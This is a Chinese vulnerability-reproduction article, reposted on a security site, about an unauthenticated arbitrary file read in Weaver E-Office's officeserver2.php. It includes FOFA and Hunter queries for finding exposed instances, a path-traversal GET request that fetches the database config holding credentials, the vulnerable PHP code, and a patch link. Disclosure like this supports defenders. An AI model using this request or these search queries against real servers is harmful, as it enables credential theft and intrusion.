【漏洞复现】泛微E-Office前台文件读取漏洞

admin 2024年4月23日05:33:53评论6 views字数 2212阅读7分22秒阅读模式

0x01 阅读须知

天擎攻防实验室的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

0x02 漏洞描述

(一) 泛微E-Office

泛微E-Office是一款企业级的全流程办公自动化软件,它包括协同办公、文档管理、知识管理、工作流管理等多个模块,涵盖了企业日常工作中的各个环节。泛微E-Office能够帮助企业实现全流程数字化、自动化,提高工作效率和管理质量,降低管理成本,为企业提供全面、高效、便捷的办公服务。

【漏洞复现】泛微E-Office前台文件读取漏洞

FOFA语法:

app="泛微-EOffice"

hunter语法:

app.name="泛微 e-office OA"
  hunter共2,919条资产

【漏洞复现】泛微E-Office前台文件读取漏洞

(二) 漏洞poc
GET /iweboffice/officeserver2.php?OPTION=LOADTEMPLATE&COMMAND=INSERTFILE&TEMPLATE=../../bin/mysql_config.ini HTTP/1.1Host: 

获取数据库用户名和密码 

【漏洞复现】泛微E-Office前台文件读取漏洞

(三) 漏洞原理

打开iWeboffice/OfficeServer2.php,代码如下:

//取得操作命令信息

$mOption=$OPTION;                                                 //取得操作命令信息

switch ($mOption){

 case "LOADFILE":

   $mFileName = $_REQUEST["FILENAME"];

   $mRecordID = $_REQUEST['RECORDID'];

   $mFullPath = $mFilePath."/".$mRecordID."/".$mFileName;

   $mFullPath = iconv("utf-8","gbk",$mFullPath);

   $result    = file_exists($mFullPath);

   if($result == false) {

     $MsgError=$_lang["file_file_not_exist"].$mFullPath;                                 //设置错误信息

   } else {

     $fd = fopen($mFullPath, "rb");

     $mFileSize = filesize($mFullPath);

     $mFileBody = fread($fd, filesize($mFullPath));

     fclose( $fd );

     $MsgObj=$MsgObj."STATUS=".base64_encode($_lang["file_open_success"]."!")."rn";       //设置状态信息

   }

   break;

 case "SAVEFILE":                                             //下面的代码为保存文件在服务

   $mFileName = $_REQUEST["FILENAME"];

   $mRecordID = $_REQUEST['RECORDID'];

   $mFullPath = $mFilePath."/".$mRecordID."/".$mFileName;

   if (is_uploaded_file($_FILES['MsgFileBody']['tmp_name']))

   {                                                             //保存文档内容

     if (move_uploaded_file($_FILES['MsgFileBody']['tmp_name'], iconv("utf-8","gbk",$mFullPath)))

     {                                                //把文档保存到$mFullPath目录下面

       $mFileSize = $_FILES['MsgFileBody']['size'];   //取得文档大小

       $result    = true;

     }

     else

     {

       $MsgError=$_lang["file_save_fail"];                 //设置错误信息

       $result=false;

     }

   }

   else

   {

     $MsgError=$_lang["file_upload_fail"];                 //设置错误信息

     $result=false;

   }

   if($result)

   {

     $MsgObj=$MsgObj."STATUS=".base64_encode($_lang["file_save_success"]."!")."rn";   //设置状态信息

   }

   break;

在审计过程中看到LOADFILE。通过mFileName=mFileName=_REQUEST[“FILENAME”];

获取文件名字。而下面的流程没有进行过滤就造成了任意文件读取。

【漏洞复现】泛微E-Office前台文件读取漏洞

更多漏洞POC发布在知识星球

【漏洞复现】泛微E-Office前台文件读取漏洞

0x03 修复方案

官方修复缓解措施

补丁链接

https://service.e-office.cn/download

原文始发于微信公众号(天擎攻防实验室):【漏洞复现】泛微E-Office前台文件读取漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月23日05:33:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】泛微E-Office前台文件读取漏洞https://cn-sec.com/archives/2088959.html

发表评论

匿名网友 填写信息